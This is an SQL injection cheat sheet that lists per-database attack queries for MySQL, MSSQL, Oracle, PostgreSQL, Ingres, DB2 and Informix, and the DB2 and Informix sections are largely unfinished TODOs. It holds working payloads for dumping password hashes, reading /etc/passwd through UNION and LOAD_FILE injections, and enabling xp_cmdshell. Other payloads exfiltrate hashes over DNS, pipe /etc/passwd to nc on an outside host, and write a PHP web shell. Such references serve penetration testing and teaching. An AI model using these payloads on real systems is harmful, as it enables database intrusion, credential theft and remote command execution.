SQL Injection Cheat Sheet 

The complete list of SQL Injection Cheat Sheets I'm working is:

    * Oracle
    * MSSQL
    * MySQL
    * PostgreSQL
    * Ingres
    * DB2
    * Informix  


--------------------------------------------------MySQL-------------------------------------------------------------------------------------------------------

VersionSELECT @@version
CommentsSELECT 1; #comment
SELECT /*comment*/1;
Current User SELECT user();
SELECT system_user();
List UsersSELECT user FROM mysql.user; -- priv
List Password HashesSELECT host, user, password FROM mysql.user; -- priv
Password CrackerJohn the Ripper  will crack MySQL password hashes.
List Privileges

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; -- list user privs

SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; -- priv, list user privs

SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; -- list privs on databases (schemas)

SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; -- list privs on columns

List DBA Accounts

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';

SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv

Current Database  SELECT database()
List DatabasesSELECT schema_name FROM information_schema.schemata; -- for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db -- priv
List Columns SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
List TablesSELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
Find Tables From Column NameSELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; -- find table which have a column called 'username'
Select Nth Row

SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0

Select Nth Char  SELECT substr('abcd', 3, 1); # returns c
Bitwise AND  SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0

ASCII Value -> Char

SELECT char(65); # returns A
Char -> ASCII ValueSELECT ascii('A'); # returns 65
CastingSELECT cast('1' AS unsigned integer);
SELECT cast('123' AS char);
String ConcatenationSELECT CONCAT('A','B'); #returns AB
SELECT CONCAT('A','B','C'); # returns ABC

If Statement

SELECT if(1=1,'foo','bar'); -- returns 'foo'
Case StatementSELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A
Avoiding Quotes SELECT 0x414243; # returns ABC
Time Delay  SELECT BENCHMARK(1000000,MD5('A'));
SELECT SLEEP(5); # >= 5.0.12
Make DNS RequestsImpossible?
Command Execution

If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  raptor_udf.c  explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.

Local File Access...' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; -- priv, write to file system
Hostname, IP AddressImpossible?
Create UsersCREATE USER test1 IDENTIFIED BY 'pass1'; -- priv
Delete UsersDROP USER test1; -- priv
Make User DBAGRANT ALL PRIVILEGES ON *.* TO test1@'%'; -- priv
Location of DB filesSELECT @@datadir; 
Default/System Databasesinformation_schema (>= mysql 5.0)
mysql

      




-----------------------------------------------------------------------MSSQL-----------------------------------------------------------------------------


VersionSELECT @@version
CommentsSELECT 1 -- comment
SELECT /*comment*/1
Current User SELECT user_name(); 
SELECT system_user; 
SELECT user; 
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
List UsersSELECT name FROM master..syslogins 
List Password HashesSELECT name, password FROM master..sysxlogins -- priv, mssql 2000;
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- priv, mssql 2000.  Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
SELECT name, password_hash FROM master.sys.sql_logins -- priv, mssql 2005;
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins -- priv, mssql 2005    
Password CrackerMSSQL 2000 and 2005 Hashes are both SHA1-based.  phrasen|drescher  can crack these.
List PrivilegesImpossible?
List DBA AccountsTODO
SELECT is_srvrolemember('sysadmin'); -- is your account a sysadmin?  returns 1 for true, 0 for false, NULL for invalid role.  Also try 'bulkadmin', 'systemadmin' and other values from the documentation
SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
Current Database  SELECT DB_NAME()
List DatabasesSELECT name FROM master..sysdatabases; 
SELECT DB_NAME(N); -- for N = 0, 1, 2, ... 
List Columns SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable
List TablesSELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable
Find Tables From Column Name-- NB: This example works only for the current database.  If you wan't to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' -- this lists table, column for each column containing the word 'password'
Select Nth RowSELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC -- gets 9th row
Select Nth Char  SELECT substring('abcd', 3, 1) -- returns c
Bitwise AND  SELECT 6 & 2 -- returns 2
SELECT 6 & 1 -- returns 0 

ASCII Value -> Char

SELECT char(0x41) -- returns A
Char -> ASCII ValueSELECT ascii('A') - returns 65
CastingSELECT CAST('1' as int);
SELECT CAST(1 as char) 
String ConcatenationSELECT 'A' + 'B' - returns AB

If Statement

IF (1=1) SELECT 1 ELSE SELECT 2 -- returns 1

Case StatementSELECT CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1
Avoiding Quotes SELECT char(65)+char(66) -- returns AB
Time Delay  WAITFOR DELAY '0:0:5' -- pause for 5 seconds
Make DNS Requests

   declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails ''\\' + @host + '\c$\boot.ini'''); -- nonpriv, works on 2000  

   declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini'''); -- priv, works on 2005

-- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host.  Messy but necessary. 
-- Also check out theDNS tunnel feature of sqlninja

Command Execution

EXEC xp_cmdshell 'net user'; -- priv

On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default:
EXEC sp_configure 'show advanced options', 1; -- priv
RECONFIGURE; -- priv
EXEC sp_configure 'xp_cmdshell', 1; -- priv
RECONFIGURE; -- priv

Local File AccessCREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM 'c:\boot.ini';
DROP TABLE mydata;
Hostname, IP AddressSELECT HOST_NAME() 
Create UsersEXEC sp_addlogin  'user', 'pass'; -- priv
Drop UsersEXEC sp_droplogin  'user'; -- priv
Make User DBAEXEC master.dbo.sp_addsrvrolemember  'user', 'sysadmin; -- priv
Location of DB filesTODO
Default/System Databasesnorthwind
model
msdb
pubs
tempdb

      




-------------------------------------------------------Oracle-----------------------------------------------------------------------------------------------------


VersionSELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; 
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
CommentsSELECT 1 FROM dual -- comment
-- NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name 'dual' when we're not actually selecting from a table.
Current User SELECT user FROM dual 
List UsersSELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; -- priv
List Password HashesSELECT name, password, astatus FROM sys.user$ -- priv, <= 10g.  astatus tells you if acct is locked
SELECT name,spare4 FROM sys.user$ -- priv, 11g
Password Crackercheckpwd  will crack the DES-based hashes from Oracle 8, 9 and 10.
List PrivilegesSELECT * FROM session_privs; -- current privs
SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; -- priv, list a user's privs
SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; -- priv, find users with a particular priv
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
List DBA AccountsSELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; -- priv, list DBAs, DBA roles
Current Database  SELECT global_name FROM global_name; 
SELECT name FROM v$database; 
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
List Databases

SELECT DISTINCT owner FROM all_tables; -- list schemas (one per user)
-- Also query TNS listener for other databases.  See tnscmd  (services | status).  

List Columns SELECT column_name FROM all_tab_columns WHERE table_name = 'blah'; 
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';  
List TablesSELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
Find Tables From Column NameSELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; -- NB: table names are upper case
Select Nth RowSELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; -- gets 9th row (rows numbered from 1)
Select Nth Char  SELECT substr('abcd', 3, 1) FROM dual; -- gets 3rd character, 'c'
Bitwise AND  SELECT bitand(6,2) FROM dual; -- returns 2
SELECT bitand(6,1) FROM dual; -- returns0

ASCII Value -> Char

SELECT chr(65) FROM dual; -- returns A
Char -> ASCII ValueSELECT ascii('A') FROM dual; -- returns 65
CastingSELECT CAST(1 AS char) FROM dual;
SELECT CAST('1' AS int) FROM dual;
String ConcatenationSELECT 'A' || 'B' FROM dual; -- returns AB
If StatementBEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; -- doesn't play well with SELECT statements 
Case StatementSELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; -- returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; -- returns 2
Avoiding Quotes SELECT chr(65) || chr(66) FROM dual; -- returns AB 
Time Delay  BEGIN DBMS_LOCK.SLEEP(5); END; -- priv, can't seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- if reverse looks are slow
SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; -- if forward lookups are slow
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; -- if outbound TCP is filtered / slow
-- Also see Heavy Queries  to create a time delay
Make DNS RequestsSELECT UTL_INADDR.get_host_address('google.com') FROM dual;
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;
Command Execution

Java  can be used to execute commands if it's installed.

ExtProc  can sometimes be used too, though it normally failed for me. :-(

Local File Access

UTL_FILE  can sometimes be used.  Check that the following is non-null:
SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir';

Java  can be used to read and write files if it's installed (it is not available in Oracle Express).

Hostname, IP AddressSELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; -- gets IP address
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- gets hostnames
Location of DB filesSELECT name FROM V$DATAFILE;
Default/System DatabasesSYSTEM
SYSAUX

      



--------------------------------------------------------------------PostgreSQL ---------------------------------------------------------------------


VersionSELECT version()
CommentsSELECT 1; --comment
SELECT /*comment*/1;
Current UserSELECT user; 
SELECT current_user; 
SELECT session_user; 
SELECT usename FROM pg_user;
SELECT getpgusername();
List UsersSELECT usename FROM pg_user  
List Password HashesSELECT usename, passwd FROM pg_shadow -- priv
Password CrackerMDCrack  can crack PostgreSQL's MD5-based passwords.
List PrivilegesSELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
List DBA AccountsSELECT usename FROM pg_user WHERE usesuper IS TRUE
Current Database  SELECT current_database()
List DatabasesSELECT datname FROM pg_database
List Columns SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')
List TablesSELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)
Find Tables From Column Name

If you want to list all the table names that contain a column LIKE '%password%':

SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%';

Select Nth RowSELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; -- rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
Select Nth Char  SELECT substr('abcd', 3, 1); -- returns c
Bitwise AND  SELECT 6 & 2; -- returns 2
SELECT 6 & 1; --returns 0

ASCII Value -> Char

SELECT chr(65);
Char -> ASCII ValueSELECT ascii('A');
CastingSELECT CAST(1 as varchar);
SELECT CAST('1' as int);
String ConcatenationSELECT 'A' || 'B'; -- returnsAB

If Statement

IF statements only seem valid inside functions, so aren't much use for SQL injection.  See CASE statement instead.
Case StatementSELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; -- returns A
Avoiding Quotes SELECT CHR(65)||CHR(66); -- returns AB
Time Delay  SELECT pg_sleep(10); -- postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(10); --priv, create your own sleep function.  Taken from here .
Make DNS Requests

Generally not possible in postgres.  However if contrib/dblink  is installed (it isn't by default) it can be used to resolve hostnames (assuming you have DBA rights):

SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);

Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. "ping pentestmonkey.net".

Command Execution

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; -- priv

SELECT system('cat /etc/passwd | nc 10.0.0.1 8080'); -- priv, commands run as postgres/pgsql OS-level user

Local File Access

CREATE TABLE mydata(t text);
COPY mydata FROM '/etc/passwd'; -- priv, can read files which are readable by postgres OS-level user
...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a time
...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; -- get data back one row at a time ...
DROP TABLE mytest mytest;

Write to a file:

CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES ('<? pasthru($_GET[cmd]); ?>');
COPY mytable (mycol) TO '/tmp/test.php'; --priv, write files as postgres OS-level user.  Generally you won't be able to write to the web root, but it's always work a try. 
-- priv user can also read/write files by mapping libc functions  

Hostname, IP AddressSELECT inet_server_addr(); -- returns db server IP address (or null if using local connection)
SELECT inet_server_port(); -- returns db server IP address (or null if using local connection)
Create UsersCREATE USER test1 PASSWORD 'pass1'; -- priv
CREATE USER test1 PASSWORD 'pass1' CREATEUSER; -- priv, grant some privs at the same time
Drop UsersDROP USER test1; -- priv
Make User DBAALTER USER test1 CREATEUSER CREATEDB; -- priv
Location of DB filesSELECT current_setting('data_directory'); -- priv
SELECT current_setting('hba_file'); -- priv
Default/System Databasestemplate0
template1

      


----------------------------------------------------------Ingres--------------------------------------------------------------------------------


Versionselect dbmsinfo('_version');
CommentsSELECT 123; -- comment
select 123; /* comment */
Current User select dbmsinfo('session_user');
select dbmsinfo('system_user');
List UsersFirst connect to iidbdb, then:
select name, password from iiuser; 
Create Userscreate user testuser with password = 'testuser';-- priv
List Password HashesFirst connect to iidbdb, then:
select name, password from iiuser; 
List Privilegesselect dbmsinfo('db_admin');
select dbmsinfo('create_table');
select dbmsinfo('create_procedure');
select dbmsinfo('security_priv');
select dbmsinfo('select_syscat');
select dbmsinfo('db_privileges');
select dbmsinfo('current_priv_mask');
List DBA AccountsTODO
Current Database  select dbmsinfo('database');
List DatabasesTODO
List Columns select column_name, column_datatype, table_name, table_owner from iicolumns;
List Tablesselect table_name, table_owner from iitables;
select relid, relowner, relloc from iirelation;
select relid, relowner, relloc from iirelation where relowner != '$ingres'; 
Find Tables From Column NameTODO
Select Nth Row

Astoundingly, this doesn't seem to be possible!  This is as close as you can get:

select top 10 blah from table;
select first 10 blah form table;  

Select Nth Char  select substr('abc', 2, 1); -- returns 'b'
Bitwise AND  

The function "bit_and" exists, but seems hard to use.  Here's an
example of ANDing 3 and 5 together.  The result is a "byte" type
with value \001:

select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1);

ASCII Value -> Char

TODO
Char -> ASCII ValueTODO
(The "ascii" function exists, but doesn't seem to do what I'd expect.)
Castingselect cast(123 as varchar);
select cast('123' as integer);
String Concatenationselect 'abc' || 'def';

If Statement

TODO
Case StatementTODO
Avoiding Quotes TODO
Time Delay  

???

See Heavy Queries  article for some ideas.

Make DNS RequestsTODO
Command ExecutionTODO
Local File AccessTODO
Hostname, IP AddressTODO
Location of DB filesTODO
Default/System DatabasesTODO
Installing LocallyThe Ingres database can be downloaded for free from http://esd.ingres.com/
A pre-built Linux-based Ingres Database Server can be download from http://www.vmware.com/appliances/directory/832
Database ClientTODO
There is a client called "sql" which can be used for local connections (at least) in the  database server package above.
Logging in from command line$ su -  ingres
$ sql iidbdb
* select dbmsinfo('_version'); \go
Identifying on the networkTODO


The following areas are interesting enough to include on this page, but I haven't researched them for other databases:

                

DescriptionSQL / Comments
Batching Queries Allowed?

Not via DBI in PERL.  Subsequent statements seem to get ignored:
select blah from table where foo = 1; select ... doesn't matter this is ignored.

FROM clause mandated in SELECTs?

No.  You don't need to select form "dual" or anything.  The following is legal:
select 1;

UNION supported

Yes.  Nothing tricky here.  The following is legal:
select 1 union select 2;

Enumerate Tables Privsselect table_name, permit_user, permit_type from iiaccess;
Length of a stringselect length('abc'); -- returns 3
Roles and passwords

First you need to connect to iidbdb, then: 
select roleid, rolepass from iirole;

List Database Procedures

First you need to connect to iidbdb, then:
select dbp_name,  dbp_owner from iiprocedure;

Create Users + Granting Privs

First you need to connect to iidbdb, then:
create user pm with password = 'password';
grant all on current installation to pm;

 

 

 

      


-----------------------------------------------------------------DB2--------------------------------------------------------------------------------------


Versionselect versionnumber, version_timestamp from sysibm.sysversions;
Commentsselect blah from foo; -- comment like this
Current User select user from sysibm.sysdummy1;
select session_user from sysibm.sysdummy1;
select system_user from sysibm.sysdummy1;
List Users

N/A (I think DB2 uses OS-level user accounts for authentication.)

Database authorities (like roles, I think) can be listed like this:
select grantee from syscat.dbauth;

List Password HashesN/A (I think DB2 uses OS-level user accounts for authentication.)
List Privilegesselect * from syscat.tabauth; -- privs on tables
select * from syscat.dbauth where grantee = current user;
select * from syscat.tabauth where grantee = current user;
List DBA AccountsTODO
Current Database  select current server from sysibm.sysdummy1;
List DatabasesSELECT schemaname FROM syscat.schemata;
List Columns select name, tbname, coltype from sysibm.syscolumns;
List Tablesselect name from sysibm.systables;
Find Tables From Column NameTODO
Select Nth Rowselect name from (SELECT name FROM sysibm.systables order by 
name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only;
Select Nth Char  SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1;  -- returns b
Bitwise AND  This page  seems to indicate that DB2 has no support for bitwise operators!

ASCII Value -> Char

select chr(65) from sysibm.sysdummy1; -- returns 'A'
Char -> ASCII Valueselect ascii('A') from sysibm.sysdummy1; -- returns 65
CastingSELECT cast('123' as integer) FROM sysibm.sysdummy1;
SELECT cast(1 as char) FROM sysibm.sysdummy1;
String ConcatenationSELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1; -- returns 'abc'
select 'a' || 'b' from sysibm.sysdummy1; -- returns 'ab'

If Statement

TODO
Case StatementTODO
Avoiding Quotes TODO
Time Delay  ???

See Heavy Queries  article for some ideas.

Make DNS RequestsTODO
Command ExecutionTODO
Local File AccessTODO
Hostname, IP AddressTODO
Location of DB filesTODO
Default/System DatabasesTODO

This page will probably remain a work-in-progress for some time yet.  I'll update it as I learn more.

 

      


-------------------------------------------------Informix ------------------------------------------------------------------------------------------------


VersionSELECT DBINFO('version', 'full') FROM systables WHERE tabid = 1;
SELECT DBINFO('version', 'server-type') FROM systables WHERE tabid = 1;
SELECT DBINFO('version', 'major'), DBINFO('version', 'minor'), DBINFO('version', 'level') FROM systables WHERE tabid = 1;
SELECT DBINFO('version', 'os') FROM systables WHERE tabid = 1; -- T=Windows, U=32 bit app on 32-bit Unix, H=32-bit app running on 64-bit Unix, F=64-bit app running on 64-bit unix
Comments select 1 FROM systables WHERE tabid = 1; -- comment
Current User 

SELECT USER FROM systables WHERE tabid = 1;
select CURRENT_ROLE FROM systables WHERE tabid = 1;

List Usersselect username, usertype, password from sysusers;
List Password HashesTODO
List Privilegesselect tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid; -- which tables are accessible by which users
select procname, owner, grantor, grantee from sysprocauth join sysprocedures on sysprocauth.procid = sysprocedures.procid; -- which procedures are accessible by which users
List DBA AccountsTODO
Current Database   SELECT DBSERVERNAME FROM systables where tabid = 1; -- server name
List Databasesselect name, owner from sysdatabases;
List Columns select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid;
List Tablesselect tabname, owner FROM systables;
select tabname, viewtext FROM sysviews  join systables on systables.tabid = sysviews.tabid;
List Stored Proceduresselect procname, owner FROM sysprocedures;
Find Tables From Column Nameselect tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid where colname like '%pass%';
Select Nth Rowselect first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc; -- selects the 10th row
Select Nth Char  SELECT SUBSTRING('ABCD' FROM 3 FOR 1) FROM systables where tabid = 1; -- returns 'C'
Bitwise AND  select bitand(6, 1) from systables where tabid = 1; -- returns 0
select bitand(6, 2) from systables where tabid = 1; -- returns 2

ASCII Value -> Char

TODO
Char -> ASCII Valueselect ascii('A') from systables where tabid = 1;
Castingselect cast('123' as integer) from systables where tabid = 1;
select cast(1 as char) from systables where tabid = 1;
String ConcatenationSELECT 'A' || 'B' FROM systables where tabid = 1; -- returns 'AB'
SELECT concat('A', 'B') FROM systables where tabid = 1; -- returns 'AB'
String LengthSELECT tabname, length(tabname), char_length(tabname), octet_length(tabname) from systables;

If Statement

TODO
Case Statementselect tabid, case when tabid>10 then "High" else 'Low' end from systables;
Avoiding Quotes TODO
Time Delay  TODO
Make DNS RequestsTODO
Command ExecutionTODO
Local File AccessTODO
Hostname, IP AddressSELECT DBINFO('dbhostname') FROM systables WHERE tabid = 1; -- hostname
Location of DB filesTODO
Default/System DatabasesThese are the system databases:
sysmaster
sysadmin*
sysuser*
sysutils*

* = don't seem to contain anything / don't allow reading
Installing Locally

You can download Informix Dynamic Server Express Edition 11.5 Trial  for Linux and Windows.

Database ClientThere's a database client SDK  available, but I couldn't get the demo client working.
I used SQuirreL SQL Client Version 2.6.8 after installing the Informix JDBC drivers  ("emerge dev-java/jdbc-informix" on Gentoo).
Logging in from command line

If you get local admin rights on a Windows box and have a GUI logon:

  • Click: Start | All Programs | IBM Informix Dynamic Server 11.50 | someservername.  This will give you a command prompt with various Environment variables set properly.
  • Run dbaccess.exe from your command prompt.  This will bring up a text-based GUI that allows you to browse databases.

The following were set on my test system.  This may help if you get command line access, but can't get a GUI - you'll need to change "testservername":

set INFORMIXDIR=C:\PROGRA~1\IBM\IBMINF~1\11.50
set INFORMIXSERVER=testservername
set ONCONFIG=ONCONFIG.testservername
set PATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\bin;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\PROGRA~1\ibm\gsk7\bin;C:\PROGRA~1\ibm\gsk7\lib;C:\Program Files\IBM\Informix\Clien-SDK\bin;C:\Program Files\ibm\gsk7\bin;C:\Program Files\ibm\gsk7\lib
set CLASSPATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\extend\krakatoa\krakatoa.jar;C:\PROGRA~1\IBM\IBMINF~1\11.50\xtend\krakatoa\jdbc.jar;
set DBTEMP=C:\PROGRA~1\IBM\IBMINF~1\11.50\infxtmp
set CLIENT_LOCALE=EN_US.CP1252
set DB_LOCALE=EN_US.8859-1
set SERVER_LOCALE=EN_US.CP1252
set DBLANG=EN_US.CP1252
mode con codepage select=1252
Identifying on the network

My default installation listened on two TCP ports: 9088 and 9099.  When I created a new "server name", this listened on 1526/TCP by default.  Nmap 4.76 didn't identify these ports as Informix:

$ sudo nmap -sS -sV 10.0.0.1 -p- -v --version-all
...
1526/tcp open  pdap-np?
9088/tcp open  unknown
9089/tcp open  unknown
...
TODO How would we identify Informix listening on the network?